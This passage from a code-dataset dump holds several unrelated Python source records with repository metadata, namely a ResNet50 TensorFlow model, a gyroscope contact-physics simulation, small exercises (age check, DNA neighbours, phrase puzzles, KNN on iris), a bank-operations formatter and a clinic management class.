True\n","repo_name":"deboreysokun/dvl-customs-14.0","sub_path":"devel_logistic_management/wizard/container_deposit.py","file_name":"container_deposit.py","file_ext":"py","file_size_in_byte":10528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27564756307","text":"'''\n3. Write a program that takes a person's year of birth, calculates their age, and tells them if they are of legal age.\n'''\n\nano = int(input(\"Digite o ano de seu nascimento: \"))\nidade = 2023 - ano\nif (idade >= 18):\n print(f\"Você tem {idade} e é maior de idade!\")\nelse:\n print(\"Você tem {} e ainda é menor de idade.\".format(idade))\n","repo_name":"Vitfpx/Python","sub_path":"Ex_college/Ex3.py","file_name":"Ex3.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13867179539","text":"\n# from dataset_3014_4.txt\nTEXT = 'CCAGTCAATG'\nD = 1\n\nswap_map = {\n 'A': 'TCG',\n 'T': 'CGA',\n 'C': 'GAT',\n 'G': 'ATC'\n}\n\ndef remove_duplicates(somelist):\n return list(set(somelist))\n\ndef single_letter_neighborhood(pattern, i):\n return [pattern[:i] + x + pattern[i+1:] for x in swap_map[pattern[i]]]\n\ndef one_neighborhood(pattern):\n neighbors = []\n for i in range(len(pattern)):\n neighbors = [*neighbors, *single_letter_neighborhood(pattern, i)]\n return remove_duplicates(neighbors)\n\ndef get_neighbours_upto_d(pattern, d):\n neighborhood = one_neighborhood(pattern)\n if d > len(pattern):\n return []\n for _ in range(d-1):\n for pattern in neighborhood:\n neighborhood = [*neighborhood, *one_neighborhood(pattern)]\n return remove_duplicates(neighborhood)\n\nprint(' '.join(get_neighbours_upto_d(TEXT, D)))\n","repo_name":"bhavin-ch/bioinformatics","sub_path":"week-2/stepik-1.7.1.py","file_name":"stepik-1.7.1.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11711101587","text":"\"\"\"\n https://github.com/tensorflow/models/blob/master/official/resnet/resnet_model.py\n\"\"\"\nimport myelindl.core.model_lib as model\nimport tensorflow as tf\n\n_BATCH_NORM_DECAY = 0.997\n_BATCH_NORM_EPSILON = 1e-5\n\n\ndef batch_norm(inputs, training, data_format, zero_init=False):\n if zero_init:\n return tf.layers.batch_normalization(\n inputs=inputs, axis=1 if data_format == 'channels_first' else 3,\n momentum=_BATCH_NORM_DECAY, epsilon=_BATCH_NORM_EPSILON, center=True,\n scale=True, gamma_initializer=tf.zeros_initializer(), training=training, fused=True)\n else:\n return tf.layers.batch_normalization(\n inputs=inputs, axis=1 if data_format == 'channels_first' else 3,\n momentum=_BATCH_NORM_DECAY, epsilon=_BATCH_NORM_EPSILON, center=True,\n scale=True, training=training, fused=True)\n\ndef fixed_padding(inputs, kernel_size, data_format):\n pad_total = kernel_size - 1\n pad_beg = pad_total // 2\n pad_end = pad_total - pad_beg\n\n if data_format == 'channels_first':\n padded_inputs = tf.pad(inputs, [[0, 0], [0, 0],\n [pad_beg, pad_end], [pad_beg, pad_end]])\n else:\n padded_inputs = tf.pad(inputs, [[0, 0], [pad_beg, pad_end],\n [pad_beg, pad_end], [0, 0]])\n return padded_inputs\n\ndef conv2d_fixed_padding(inputs, filters, kernel_size, strides, data_format):\n if strides > 1:\n inputs = fixed_padding(inputs, kernel_size, data_format)\n\n return tf.layers.conv2d(\n inputs=inputs, filters=filters, kernel_size=kernel_size, strides=strides,\n padding=('SAME' if strides == 1 else 'VALID'), use_bias=False,\n kernel_initializer=tf.variance_scaling_initializer(),\n data_format=data_format)\n\n##\n## ResNet blocks\n##\ndef _bottleneck_block_v1(inputs, filters, training, projection_shortcut,\n strides, data_format):\n shortcut = inputs\n if projection_shortcut is not None:\n shortcut = projection_shortcut(inputs)\n shortcut = batch_norm(inputs=shortcut, training=training,\n data_format=data_format)\n\n inputs = conv2d_fixed_padding(\n inputs=inputs, filters=filters, kernel_size=1, strides=1,\n data_format=data_format)\n inputs = batch_norm(inputs, training, data_format)\n inputs = tf.nn.relu(inputs)\n\n inputs = conv2d_fixed_padding(\n inputs=inputs, filters=filters, kernel_size=3, strides=strides,\n data_format=data_format)\n inputs = batch_norm(inputs, training, data_format)\n inputs = tf.nn.relu(inputs)\n\n inputs = conv2d_fixed_padding(\n inputs=inputs, filters=4 * filters, kernel_size=1, strides=1,\n data_format=data_format)\n inputs = batch_norm(inputs, training, data_format, zero_init=True)\n inputs += shortcut\n inputs = tf.nn.relu(inputs)\n\n return inputs\n\ndef block_layer(inputs, filters, bottleneck, blocks, strides,\n training, name, data_format):\n layer_name = name + '_1'\n with tf.variable_scope(layer_name):\n filters_out = filters * 4 if bottleneck else filters\n\n def projection_shortcut(inputs):\n return conv2d_fixed_padding(\n inputs=inputs, filters=filters_out, kernel_size=1, strides=strides,\n data_format=data_format)\n\n # Only the first block per block_layer uses projection_shortcut and strides\n inputs = _bottleneck_block_v1(inputs, filters, training, projection_shortcut, strides,\n data_format)\n\n for i in range(1, blocks):\n layer_name = name + '_{}'.format(i+1)\n with tf.variable_scope(layer_name):\n inputs = _bottleneck_block_v1(inputs, filters, training, None, 1, data_format)\n\n return inputs\n\n\n## ResNet50\nclass UserModel(model.NNModel):\n def __init__(self, params=None):\n super(UserModel, self).__init__('ResNet50TF', model.MODEL_TYPE_IMAGE_CLASSIFICATION, 224, params=params)\n\n self.resnet_size = 50\n self.bottleneck =True\n self.num_filters=64\n self.kernel_size=7\n self.conv_stride=2\n self.first_pool_size=3\n self.first_pool_stride=2\n self.block_sizes=[3, 4, 6, 3]\n self.block_strides=[1, 2, 2, 2]\n \n def add_inference(self, inputs, training, nclass):\n df = 'channels_first' if self.data_format == 'NCHW' else 'channels_last'\n inputs = conv2d_fixed_padding(\n inputs=inputs, filters=self.num_filters, kernel_size=self.kernel_size,\n strides=self.conv_stride, data_format=df)\n\n inputs = batch_norm(inputs, training, df)\n inputs = tf.nn.relu(inputs)\n\n inputs = tf.layers.max_pooling2d(\n inputs=inputs, pool_size=self.first_pool_size,\n strides=self.first_pool_stride, padding='SAME',\n data_format=df)\n for i, num_blocks in enumerate(self.block_sizes):\n num_filters = self.num_filters * (2**i)\n inputs = block_layer(\n inputs=inputs, filters=num_filters, bottleneck=self.bottleneck,\n blocks=num_blocks, strides=self.block_strides[i],\n training=training, name='block_layer{}'.format(i + 1),\n data_format=df)\n axes = [2, 3] if df == 'channels_first' else [1, 2]\n inputs = tf.reduce_mean(inputs, axes, keepdims=True)\n inputs = tf.identity(inputs, 'final_reduce_mean')\n inputs = tf.squeeze(inputs, axes)\n inputs = tf.layers.dense(inputs=inputs, units=nclass)\n return inputs\n","repo_name":"myelintek/gui-project","sub_path":"standard-networks/tensorflow/resnet50tf.py","file_name":"resnet50tf.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15053967189","text":"\"\"\"\ncode modified from constrained-hamiltonian-neural-networks\nhttps://github.com/mfinzi/constrained-hamiltonian-neural-networks\n\"\"\"\n\nfrom systems.rigid_body import RigidBody, BodyGraph\nfrom utils import Animation, com_euler_to_bodyX, bodyX_to_com_euler\nfrom pytorch_lightning import seed_everything\nimport numpy as np\nimport torch\nimport networkx as nx\nfrom models.contact_model import ContactModel\nfrom models.contact_model_reg import ContactModelReg\nfrom baselines.lcp.contact_model_lcp import ContactModelLCP\n\nclass GyroscopeWithWall(RigidBody):\n dt = 0.02\n integration_time = 2\n n = 4 ; d = 3 ; D = 3\n angular_dims = range(3)\n\n def __init__(\n self, \n kwargs_file_name=\"default\",\n m=0.1, \n com=[0,0,0.5], \n moments=[0.24, 0.24, 0.04],\n mus=[0.0],\n cors=[1.0],\n bdry_lin_coef=[[0, 1, 0, 0.33]],\n is_homo=True,\n offset=0.0,\n radius=0.3,\n is_reg_data=False,\n is_reg_model=False,\n is_lcp_model=False,\n is_lcp_data=False,\n dtype=torch.float64\n ):\n assert not (is_reg_model and is_lcp_model)\n self.body_graph = BodyGraph()\n self.kwargs_file_name = kwargs_file_name\n self.m = m\n self.moments = torch.tensor(moments, dtype=torch.float64)\n self.com = torch.tensor(com, dtype=torch.float64)\n self.body_graph.add_extended_body(0, m=m, moments=self.moments, d=3)\n self.body_graph.add_joint(0, -self.com, pos2=torch.tensor([0.,0.,0], dtype=torch.float64))\n self.n_o, self.n_p, self.d = 1, 4, 3\n self.n = self.n_o * self.n_p\n self.bdry_lin_coef = torch.tensor(bdry_lin_coef, dtype=torch.float64)\n self.n_c = 1\n assert len(mus) == len(cors) == 1\n self.mus = torch.tensor(mus, dtype=torch.float64)\n self.cors = torch.tensor(cors, dtype=torch.float64)\n self.is_homo = is_homo\n self.is_reg_data = is_reg_data\n self.is_reg_model = is_reg_model\n self.is_lcp_model = is_lcp_model\n self.is_lcp_data = is_lcp_data\n\n self.delta = torch.tensor([[-1, 1, 0, 0], [-1, 0, 1, 0], [-1, 0, 0, 1]], dtype=torch.float64) # 3, 4\n self.offset = offset\n self.radius = radius\n\n if is_lcp_model:\n self.impulse_solver = ContactModelLCP(\n dt = self.dt,\n n_o = self.n_o,\n n_p = self.n_p,\n d = self.d,\n ls = None,\n bdry_lin_coef = self.bdry_lin_coef,\n check_collision = self.check_collision,\n cld_2did_to_1did = self.cld_2did_to_1did,\n DPhi = self.DPhi,\n delta=self.delta,\n get_3d_contact_point_c_tilde=self.get_3d_contact_point_c_tilde\n )\n elif is_reg_model:\n self.impulse_solver = ContactModelReg(\n dt = self.dt,\n n_o = self.n_o,\n n_p = self.n_p,\n d = self.d,\n ls = None,\n bdry_lin_coef = self.bdry_lin_coef,\n check_collision = self.check_collision,\n cld_2did_to_1did = self.cld_2did_to_1did,\n DPhi = self.DPhi,\n delta=self.delta,\n get_3d_contact_point_c_tilde=self.get_3d_contact_point_c_tilde\n )\n else:\n self.impulse_solver = ContactModel(\n dt = self.dt,\n n_o = self.n_o,\n n_p = self.n_p,\n d = self.d,\n ls = None,\n bdry_lin_coef = self.bdry_lin_coef,\n check_collision = self.check_collision,\n cld_2did_to_1did = self.cld_2did_to_1did,\n DPhi = self.DPhi,\n delta=self.delta,\n get_3d_contact_point_c_tilde=self.get_3d_contact_point_c_tilde\n )\n\n def __str__(self):\n if self.is_reg_data:\n return f\"{self.__class__.__name__}_{self.kwargs_file_name}_reg\"\n elif self.is_lcp_data:\n return f\"{self.__class__.__name__}_{self.kwargs_file_name}_lcp\"\n else:\n return f\"{self.__class__.__name__}_{self.kwargs_file_name}\"\n\n def potential(self, r):\n M = self.M.to(dtype=r.dtype)\n return 9.81 * (M @ r)[..., 2].sum(1)\n\n def sample_initial_conditions(self, N):\n xv_list = []\n ptr = 0\n while ptr < N:\n eulers = (torch.rand(N, 2, 3, dtype=torch.float64) - 0.5) * 3\n # eulers[:, 0, 1] *= 0.2\n eulers[:, 1, 0] *= 3\n eulers[:, 1, 1] *= 0.2\n eulers[:, 1, 2] = (torch.randint(2, size=(N,), dtype=torch.float64) * 2 -1) * (torch.randn(N) + 7) * 1.5\n xv = self.angle_to_global_cartesian(eulers)\n x = xv[:, 0] # (N, 4, 3)\n is_cld, *_ = self.check_collision(x)\n xv_list.append(xv[torch.logical_not(is_cld)])\n ptr += sum(torch.logical_not(is_cld))\n xv = torch.cat(xv_list, dim=0)[0:N]\n return xv\n\n def check_collision(self, x):\n bs = x.shape[0]\n is_cld_ij = torch.zeros(bs, 1, 1, dtype=torch.bool, device=x.device)\n dist_ij = torch.zeros(bs, 1, 1).type_as(x) \n is_cld_limit = torch.zeros(bs, 0, 2, dtype=torch.bool, device=x.device)\n dist_limit = torch.zeros(bs, 0, 2).type_as(x)\n is_cld, is_cld_bdry, dist_bdry = self.check_boundary_collision(x)\n return is_cld, is_cld_ij, is_cld_bdry, is_cld_limit, dist_ij, dist_bdry, dist_limit\n\n def check_boundary_collision(self, x):\n is_cld_ndry, is_cld_bdry, min_dist, _ = self.get_bdry_cld_and_c_tilde(x)\n return is_cld_ndry, is_cld_bdry, min_dist\n\n def get_3d_contact_point_c_tilde(self, x):\n _, _, _, c_tilde = self.get_bdry_cld_and_c_tilde(x)\n return c_tilde\n\n def get_bdry_cld_and_c_tilde(self, x):\n # assume the coefficient are normalized\n bdry_lin_coef = self.bdry_lin_coef.type_as(x)\n delta = self.delta.type_as(x)\n # get the position of the mesh points on the rim of the cone\n assert x.ndim == 3\n bs = x.shape[0]\n x = x.reshape(bs, 1, 4, 3)\n com = x[:, :, 0] # (bs, 1, 3)\n e = delta @ x # (bs, 1, 3, 3)\n angles = torch.linspace(0, 6.28, 21)\n mesh_points = torch.stack(\n [e[:,:,0]*self.radius*a.cos() + e[:,:,1]*self.radius*a.sin() + com+e[:,:,2]*self.offset for a in angles][:-1],\n dim=1,\n ) # (bs, 20, 1, 3)\n mesh_points_one = torch.cat(\n [mesh_points, torch.ones(*mesh_points.shape[:-1], 1).type_as(mesh_points)],\n dim=-1,\n ).unsqueeze(-2) # (bs, 20, 1, 1, 4)\n dist = (mesh_points_one * bdry_lin_coef).sum(-1) # (bs, 20, 1, 1) # n_o, n_bdry\n min_dist, min_dist_idx = torch.min(dist, dim=1) # (bs, 1, 1), (bs, 1, 1)\n is_cld_bdry = min_dist < 0\n cld_angles = angles[min_dist_idx.squeeze(-1).squeeze(-1)] # (bs, )\n c = torch.stack(\n [self.radius*cld_angles.cos(), self.radius*cld_angles.sin(), self.offset*torch.ones_like(cld_angles)],\n dim=-1\n ) # (bs, 3)\n c_tilde = torch.cat(\n [1 - c.sum(-1, keepdim=True), c], dim=-1\n )\n \n return is_cld_bdry[:,0,0], is_cld_bdry, min_dist, c_tilde.unsqueeze(1)\n\n def cld_2did_to_1did(self, cld_ij_ids, cld_bdry_ids, cld_limit_ids):\n return [0]\n\n def angle_to_global_cartesian(self, eulers):\n \"\"\" input: (*bsT, 2, 3), output: (*bsT, 2, 4, 3) \"\"\"\n local_coms = torch.zeros_like(eulers)\n local_com_eulers = torch.cat([local_coms, eulers], dim=-1) # (*bsT, 2, 6)\n bodyX = com_euler_to_bodyX(local_com_eulers) # (*bsT, 2, 4, 3)\n # checked for com is zero, need to understand when com is not zero\n body_attachment = self.body_graph.nodes[0]['joint'][0].to(eulers.device,eulers.dtype) # (3,)\n ct = torch.cat([1-body_attachment.sum()[None],body_attachment]) # (4,)\n global_coords_attachment_point = (bodyX*ct[:,None]).sum(-2,keepdims=True) # (*bsT, 2, 1, 3)\n return bodyX-global_coords_attachment_point\n\n def global_cartesian_to_angle(self, global_cartesian):\n \"\"\" input: (*bsT, 2, 4, 3), output: (*bsT, 2, 3) \"\"\"\n eulers = bodyX_to_com_euler(global_cartesian)[..., 3:] # (*bsT, 2, 3)\n if eulers.ndim == 4:\n eulers[..., 0, :] = torch.from_numpy(np.unwrap(eulers[..., 0, :].detach().cpu().numpy(), axis=1)).to(eulers.device, eulers.dtype)\n elif eulers.ndim == 3:\n eulers[..., 0, :] = torch.from_numpy(np.unwrap(eulers[..., 0, :].detach().cpu().numpy(), axis=0)).to(eulers.device, eulers.dtype)\n else:\n raise NotImplementedError\n return eulers\n\n @property\n def animator(self):\n return GyroscopeAnimation\n\n\nclass GyroscopeAnimation(Animation):\n def __init__(self, qt, body):\n super().__init__(qt, body)\n self.body = body\n self.n_o = body.n_o\n self.n_p = body.n_p\n\n # plot the wall\n corner = 0.6\n xx = np.array([[-corner, corner],\n [-corner, corner]])\n y_coor = body.bdry_lin_coef[0, 3].numpy()\n yy = np.array([[-y_coor, -y_coor],\n [-y_coor, -y_coor]])\n zz = np.array([[-corner, -corner],\n [corner, corner]])\n self.ax.plot_surface(xx, yy, zz, color=\"lightgray\", zorder=-1)\n # plot the cone\n self.cone = [self.ax.plot_surface(xx, yy, zz, zorder=1)]\n\n # plot the lines\n # self.objects['lines'] = sum([self.ax.plot([],[],[],\"-\",c=\"k\") for _ in range(4)], [])\n self.objects[\"lines\"] = sum([self.ax.plot([], [], [], \"-\", c=\"k\", zorder=5) for _ in range(2)], [])\n self.objects['trails'] = sum([self.ax.plot([], [], [], \"-\", color=\"teal\", zorder=10) for i in range(1)], [])\n\n # self.ax.view_init(elev=20., azim=10)\n self.ax.view_init(elev=20., azim=-1)\n self.ax.dist = 5.8 \n self.ax.set_xlim3d(-1.2*corner, 1.2*corner)\n self.ax.set_ylim3d(-1.2*corner, 1.2*corner)\n self.ax.set_zlim3d(-1.2*corner, 1.2*corner)\n self.ax.axis(\"off\"),\n self.fig.set_size_inches(11.5, 11.5)\n\n def update(self, i=0):\n e = self.body.delta.numpy() @ self.qt[i] # (3, 3)\n height = self.body.offset+self.body.com[-1].numpy()\n tip = 0.15\n p0 = e[2] * height\n p1 = p0 + e[0] * self.body.radius\n p2 = p0 + e[2] * tip\n self.objects['lines'][0].set_data(np.array([p0[0], p1[0]]), np.array([p0[1],p1[1]]))\n self.objects['lines'][0].set_3d_properties(np.array([p0[2],p1[2]]))\n self.objects['lines'][1].set_data(np.array([p0[0], p2[0]]), np.array([p0[1],p2[1]]))\n self.objects['lines'][1].set_3d_properties(np.array([p0[2],p2[2]]))\n # plot cone\n self.cone[0].remove()\n step = 40\n t = np.linspace(0, height, step)\n theta = np.linspace(0, 2*np.pi, step)\n t, theta = np.meshgrid(t, theta)\n R = np.linspace(0.0001, self.body.radius, step)\n xx, yy, zz = [e[0,j]*R*np.cos(theta) + e[1,j]*R*np.sin(theta) + e[2,j]*t for j in [0, 1, 2]]\n self.cone[0] = self.ax.plot_surface(xx, yy, zz, color=\"orangered\", zorder=4)\n # plot trails\n trail_len = 150\n T, n, d = self.qt.shape\n qt = self.qt.reshape(T, self.n_o, self.n_p, d)\n e0 = qt[max(i-trail_len, 0): i+1, 0, 0, :] # trail_len, 3\n e3 = qt[max(i-trail_len, 0): i+1, 0, 3, :] # trail_len, 3\n xyz = e0 + (e3 - e0) * (self.body.offset + tip) \n self.objects[\"trails\"][0].set_data(*xyz[...,:2].T)\n self.objects[\"trails\"][0].set_3d_properties(xyz[...,2].T) \n return sum(self.objects.values(),[])","repo_name":"Physics-aware-AI/DiffCoSim","sub_path":"systems/gyroscope_with_wall.py","file_name":"gyroscope_with_wall.py","file_ext":"py","file_size_in_byte":11757,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"37"} +{"seq_id":"24319128901","text":"def beforeAndAfterPuzzles(phrases):\n res = []\n for i1, phrase1 in enumerate(phrases):\n for i2, phrase2 in enumerate(phrases):\n if i1 != i2:\n if phrase1.split(\" \")[-1] == phrase2.split(\" \")[0]:\n joint = phrase1 + \" \" + \" \".join(phrase2.split(\" \")[1:] ) #take 1st word off 2nd phrase\n res.append(joint.strip(\" \"))\n res = list(set(res))\n res.sort()\n return res\n\na = [\"writing code\",\"code rocks\"]\nprint(beforeAndAfterPuzzles(a))","repo_name":"rjk79/Data-Structures-Algorithms-System-Design","sub_path":"engine/before_and_after_puzzle.py","file_name":"before_and_after_puzzle.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"31053210180","text":"from sklearn.datasets import load_iris\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\niris=load_iris()\r\ndataset=pd.DataFrame(iris.data,columns=iris.feature_names)\r\nprint(dir(iris))\r\ndataset['target']=iris.target\r\ninputs=dataset.drop(['target'],axis='columns')\r\ntarget=dataset.target\r\nX_train,X_test,y_train,y_test=train_test_split(inputs,target,test_size=0.3)\r\nmodel=KNeighborsClassifier(n_neighbors=4)\r\nmodel.fit(X_train,y_train)\r\nprint(round(model.score(X_test,y_test)*100),'%')\r\n","repo_name":"sabuzar/all_in_sklearn","sub_path":"knearstniibour.py","file_name":"knearstniibour.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"45551005528","text":"import json\nfrom datetime import datetime\n\n\ndef get_data():\n with open(\"../operations.json\", \"r\", encoding=\"UTF-8\") as f:\n data = json.load(f)\n return data\n\n\ndef get_filtered_data(data):\n data = [x for x in data if \"state\" in x and x[\"state\"] == \"EXECUTED\"]\n return data\n\n\ndef get_last_values(data, count_last_values):\n data = sorted(data, key=lambda x: x[\"date\"], reverse=True)\n data = data[:count_last_values]\n return data\n\n\ndef encode_bill_info(bill_info):\n bill_info = bill_info.split()\n bill, info = bill_info[-1], \" \".join(bill_info[:-1])\n if len(bill) == 16:\n bill = f\"{bill[:4]} {bill[4:6]}** **** {bill[-4:]}\"\n else:\n bill = f\"**{bill[-4:]}\"\n to = f\"{info} {bill}\"\n return to\n\n\ndef get_formatted_data(data):\n formatted_data = []\n for row in data:\n date = datetime.strptime(row[\"date\"], \"%Y-%m-%dT%H:%M:%S.%f\").strftime(\"%d.%m.%Y\")\n\n description = row[\"description\"]\n\n if \"from\" in row:\n sender = encode_bill_info(row[\"from\"])\n sender = f\"{sender} -> \"\n else:\n sender = \"\"\n\n to = encode_bill_info(row['to'])\n\n\n operations_amount = (f'{row[\"operationAmount\"][\"amount\"]} {row[\"operationAmount\"][\"currency\"][\"name\"]}')\n\n formatted_data.append(f\"\"\"\\\n{date} {description}\n{sender}{to}\n{operations_amount}\"\"\")\n return formatted_data","repo_name":"MaksimPakhomov22/Fich_Bank_Operations","sub_path":"src/utills.py","file_name":"utills.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24712234738","text":"# Import the Doctor, Patient, and Consultation classes from their respective modules\nfrom doctor import Doctor\nfrom patient import Patient\nfrom consultation import Consultation\n\nclass Clinic:\n def __init__(self):\n # Initialize a Clinic object with empty lists for doctors, patients, and consultations\n self.__doctors = [] # List to store doctor objects\n self.__patients = [] # List to store patient objects\n self.__consultations = [] # List to store consultation objects\n \n # Properties to access the lists of doctors, patients, and consultations\n @property\n def doctors(self):\n return self.__doctors\n\n @property\n def patients(self):\n return self.__patients\n\n @property\n def consultations(self):\n return self.__consultations\n \n # Setter for the doctors list (not recommended as it directly modifies the list)\n @doctors.setter\n def doctors(self, value):\n self.__doctors = value\n \n # Method to add a patient to the clinic\n def add_patient(self, patient):\n self.__patients.append(patient)\n\n # Method to add a doctor to the clinic\n def add_doctor(self, doctor):\n self.__doctors.append(doctor)\n \n # Method to add a consultation to the clinic\n def add_consultation(self, consultation):\n self.__consultations.append(consultation)\n\n # Methods to retrieve lists of doctors, patients, and consultations\n def get_all_doctors(self):\n return self.__doctors\n\n def get_all_patients(self):\n return self.__patients\n\n def get_all_consultations(self):\n return self.__consultations\n\n # Method to add a consultation to a patient\n def add_consultation_to_patient(self, patient_id, doctor_id, date, reason, fee):\n # Find the patient and doctor based on their IDs\n patient = self.find_patient_by_id(patient_id)\n doctor = self.find_doctor_by_id(doctor_id)\n\n # Check if all required consultation details are provided\n if not date or not reason or not fee:\n return \"Please fill in all consultation details.\"\n \n if patient:\n # Check if the patient is already assigned a doctor\n if not patient.patient_doctor:\n return \"Please assign a doctor to this patient first.\"\n \n if doctor:\n # Create a new consultation and add it to both doctor and patient\n consultation = Consultation(date, doctor, patient, reason, fee)\n doctor.add_consultation(consultation)\n patient.add_consultation(consultation)\n return \"Consultation added.\"\n else:\n return \"Doctor not found.\"\n else:\n return \"Patient not found.\"\n\n # Method to assign a doctor to a patient\n def assign_doctor(self, patient_id, doctor_id):\n # Find the patient and doctor based on their IDs\n patient = self.find_patient_by_id(patient_id)\n doctor = self.find_doctor_by_id(doctor_id)\n\n if patient and doctor:\n # Check if the patient is already assigned a doctor\n if patient.patient_doctor is not None:\n return f\"{patient.patient_fname} {patient.patient_lname} is already assigned to {patient.patient_doctor.doctor_fname} {patient.patient_doctor.doctor_lname}\"\n\n try:\n # Assign the doctor to the patient using a new method\n doctor.assign_doctor_to_patient(doctor, patient)\n return f\"Assigned {doctor.doctor_fname} {doctor.doctor_lname} to {patient.patient_fname} {patient.patient_lname}\"\n except ValueError as e:\n return str(e)\n else:\n return \"Patient or doctor not found.\"\n\n # Method to retrieve information about a patient\n def get_patient_info(self, patient_id):\n patient = self.find_patient_by_id(patient_id)\n \n if patient:\n # Generate patient information, including assigned doctor and consultations\n patient_info = f\"Patient ID: {patient.patient_id}\\n\"\n patient_info += f\"Name: {patient.patient_fname} {patient.patient_lname}\\n\"\n \n if patient.patient_doctor:\n patient_info += f\"Doctor: {patient.patient_doctor.doctor_fname} {patient.patient_doctor.doctor_lname}\\n\"\n else:\n patient_info += \"Doctor: Not assigned\\n\"\n \n total_fees = 0\n consultation_info = \"Consultations:\\n\"\n for consultation in patient.get_consultations():\n total_fees += float(consultation.fee)\n consultation_info += f\"Date: {consultation.date}\\n\"\n consultation_info += f\"Reason: {consultation.reason}\\n\"\n consultation_info += f\"Fee($): {consultation.fee}\\n\\n\"\n \n patient_info += consultation_info\n patient_info += f\"Total Fees($) Due: {total_fees}\"\n \n return patient_info\n else:\n return \"Patient not found.\"\n\n # Method to retrieve information about a doctor\n def get_doctor_info(self, doctor_id): \n doctor = self.find_doctor_by_id(doctor_id)\n\n if doctor:\n # Generate doctor information, including patients and consultations\n doctor_info = f\"Doctor ID: {doctor.doctor_id}\\n\"\n doctor_info += f\"Name: {doctor.doctor_fname} {doctor.doctor_lname}\\n\"\n doctor_info += f\"Specialization: {doctor.doctor_spec}\\n\"\n \n if doctor.get_patient_list():\n doctor_info += \"\\nList of Patients:\\n\"\n for patient in doctor.get_patient_list():\n doctor_info += f\"Patient ID: {patient.patient_id}, Name: {patient.patient_fname} {patient.patient_lname}\\n\"\n \n if doctor.get_consultation_list():\n doctor_info += \"\\nList of Consultations with Patients:\\n\"\n for consultation in doctor.get_consultation_list():\n doctor_info += f\"Date: {consultation.date}, Reason: {consultation.reason}, Patient: {consultation.patient.patient_fname} {consultation.patient.patient_lname}, Fee($): {consultation.fee}\\n\"\n \n return doctor_info\n else:\n print(\"Error: Doctor not found.\") # For demonstration, printing to console. \n\n # Method to find a patient by their ID\n def find_patient_by_id(self, patient_id):\n for patient in self.get_all_patients():\n if str(patient.patient_id) == patient_id:\n return patient\n return None\n\n # Method to find a doctor by their ID\n def find_doctor_by_id(self, doctor_id):\n for doctor in self.get_all_doctors():\n if str(doctor.doctor_id) == doctor_id:\n return doctor\n return None\n \n # Method to load patients from a file\n def load_patients_from_file(self, filename):\n with open(filename, \"r\") as file:\n lines = file.readlines()\n for line in lines:\n line = line.strip()\n if line:\n patient_info = line.split(\",\")\n myPatientFName = patient_info[0]\n myPatientLName = patient_info[1]\n patient = Patient(myPatientFName, myPatientLName)\n self.add_patient(patient)\n\n # Method to load doctors from a file\n def load_doctors_from_file(self, filename):\n with open(filename, \"r\") as file:\n lines = file.readlines()\n for line in lines:\n line = line.strip()\n if line:\n doctor_info = line.split(\",\")\n myDoctorFName = doctor_info[0]\n myDoctorLName = doctor_info[1]\n myDoctorSpec = doctor_info[2]\n doctor= Doctor( myDoctorFName, myDoctorLName,myDoctorSpec)\n self.add_doctor(doctor)\n\n # Method to generate a consultation report\n def generate_consultation_report(self):\n consultation_report = \"Consultation report for Wellness Clinic:\\n\\n\"\n total_fees = 0\n\n consultations = []\n\n # Collect all consultations from doctors\n for doctor in self.get_all_doctors():\n consultations.extend(doctor.get_consultation_list())\n\n # Sort consultations based on dates\n sorted_consultations = sorted(consultations, key=lambda consultation: consultation.date)\n\n for consultation in sorted_consultations:\n doctor = consultation.doctor\n patient = consultation.patient\n consultation_report += f\"Doctor: {doctor.doctor_fname} {doctor.doctor_lname}\\n\"\n consultation_report += f\"Date: {consultation.date}, Reason: {consultation.reason}, Patient: {patient.patient_fname} {patient.patient_lname}, Fee($): {consultation.fee}\\n\"\n total_fees += float(consultation.fee)\n consultation_report += \"\\n\"\n\n consultation_report += f\"\\nTotal Fees($): {total_fees}\"\n return consultation_report\n\n # Method to search for doctors based on search criteria\n def search_doctors(self, search_criteria):\n matching_doctors = []\n for doctor in self.get_all_doctors():\n doctor_info = f\"{doctor.doctor_id} - {doctor.doctor_fname} {doctor.doctor_lname} ({doctor.doctor_spec})\"\n if search_criteria in doctor_info.lower():\n matching_doctors.append(doctor_info)\n return matching_doctors\n\n # Method to search for patients based on search criteria\n def search_patients(self, search_criteria):\n matching_patients = []\n for patient in self.get_all_patients():\n patient_info = f\"{patient.patient_id} - {patient.patient_fname} {patient.patient_lname}\"\n if search_criteria in patient_info.lower():\n matching_patients.append(patient_info)\n return matching_patients\n \n # Method to validate consultation details\n def validate_consultation(self, date, selected_patient_indices, selected_doctor_indices, reason, fee):\n # Validate the date field\n if not date:\n return \"Please select a date.\"\n\n # Validate that a patient and a doctor are selected\n if not selected_patient_indices:\n return \"Please select a patient.\"\n if not selected_doctor_indices:\n return \"Please select a doctor.\"\n\n # Validate the reason field\n if not reason:\n return \"Please provide a reason for the consultation.\"\n\n # Validate the fee field (assuming it should be a positive number)\n if not fee:\n return \"Please provide a consultation fee.\"\n try:\n fee = float(fee)\n if fee <= 0:\n return \"Consultation fee must be a positive number.\"\n except ValueError:\n return \"Invalid consultation fee. Please enter a valid number.\"\n\n # If no errors, return None\n return None\n\n def __str__(self):\n # Generate a string representation of the clinic object\n clinic_info = \"Clinic Information:\\n\"\n clinic_info += f\"Number of Doctors: {len(self.__doctors)}\\n\"\n clinic_info += f\"Number of Patients: {len(self.__patients)}\\n\"\n clinic_info += f\"Number of Consultations: {len(self.__consultations)}\\n\"\n return 